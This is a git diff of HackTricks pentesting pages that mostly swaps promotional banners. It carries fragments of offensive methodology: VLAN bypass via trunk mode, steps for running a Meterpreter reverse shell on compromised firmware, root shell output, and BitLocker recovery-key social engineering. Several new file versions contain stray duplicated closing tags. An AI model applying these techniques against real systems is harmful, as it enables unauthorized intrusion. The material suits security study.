-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (**for further details check [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
@@ -74,14 +77,17 @@ Ultimately, this process enables bypassing of VLAN segmentation, thereby facilit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md b/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md
index 1a8a156edef..fbcd45f9b47 100644
--- a/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md
+++ b/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md
@@ -1,16 +1,19 @@
# Spoofing SSDP and UPnP Devices with EvilSSDP
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
**Check [https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) for further information.**
@@ -40,14 +43,17 @@ To combat these threats, recommended measures include:
In essence, while UPnP offers convenience and network fluidity, it also opens doors to potential exploitation. Awareness and proactive defense are key to ensuring network integrity.
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md
index 5837ef27366..85bd03cfc6b 100644
--- a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md
+++ b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md
@@ -1,16 +1,19 @@
# Tunneling and Port Forwarding
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
**Try Hard Security Group**
@@ -627,14 +630,17 @@ tunnels:
***
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/hardware-physical-access/firmware-analysis/bootloader-testing.md b/hardware-physical-access/firmware-analysis/bootloader-testing.md
index 7e1e9873365..d3f8f4c6960 100644
--- a/hardware-physical-access/firmware-analysis/bootloader-testing.md
+++ b/hardware-physical-access/firmware-analysis/bootloader-testing.md
@@ -1,18 +1,20 @@
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
The following steps are recommended for modifying device startup configurations and bootloaders like U-boot:
@@ -57,19 +59,21 @@ The following steps are recommended for modifying device startup configurations
## References
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
diff --git a/hardware-physical-access/firmware-analysis/firmware-integrity.md b/hardware-physical-access/firmware-analysis/firmware-integrity.md
index dba4fcc9415..73fca559356 100644
--- a/hardware-physical-access/firmware-analysis/firmware-integrity.md
+++ b/hardware-physical-access/firmware-analysis/firmware-integrity.md
@@ -1,18 +1,27 @@
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Firmware Integrity
@@ -37,26 +46,35 @@ If a root shell has already been obtained through dynamic analysis, bootloader m
3. The payload can be transferred to the compromised device and ensured that it has execution permissions.
4. Metasploit can be prepared to handle incoming requests by starting msfconsole and configuring the settings according to the payload.
5. The meterpreter reverse shell can be executed on the compromised device.
-6. Meterpreter sessions can be monitored as they open.
-7. Post-exploitation activities can be performed.
-
-If possible, vulnerabilities within startup scripts can be exploited to gain persistent access to a device across reboots. These vulnerabilities arise when startup scripts reference, [symbolically link](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), or depend on code located in untrusted mounted locations such as SD cards and flash volumes used for storing data outside of root filesystems.
-
-## References
-* For further information check [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/hardware-physical-access/physical-attacks.md b/hardware-physical-access/physical-attacks.md
index 269865acbce..1d11bfbd60e 100644
--- a/hardware-physical-access/physical-attacks.md
+++ b/hardware-physical-access/physical-attacks.md
@@ -1,18 +1,20 @@
# Physical Attacks
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
## BIOS Password Recovery and System Security
@@ -65,17 +67,19 @@ BitLocker encryption can potentially be bypassed if the **recovery password** is
### Social Engineering for Recovery Key Addition
A new BitLocker recovery key can be added through social engineering tactics, convincing a user to execute a command that adds a new recovery key composed of zeros, thereby simplifying the decryption process.
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/cisco-vmanage.md b/linux-hardening/privilege-escalation/cisco-vmanage.md
index fb5112cb2c1..f4d6f596cfc 100644
--- a/linux-hardening/privilege-escalation/cisco-vmanage.md
+++ b/linux-hardening/privilege-escalation/cisco-vmanage.md
@@ -1,16 +1,19 @@
# Cisco - vmanage
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Path 1
@@ -168,14 +171,17 @@ uid=0(root) gid=0(root) groups=0(root)
bash-4.4#
```
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md
index e96a571b47d..a3f88ad05f6 100644
--- a/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md
+++ b/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md
@@ -1,18 +1,23 @@
# Abusing Docker Socket for Privilege Escalation
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
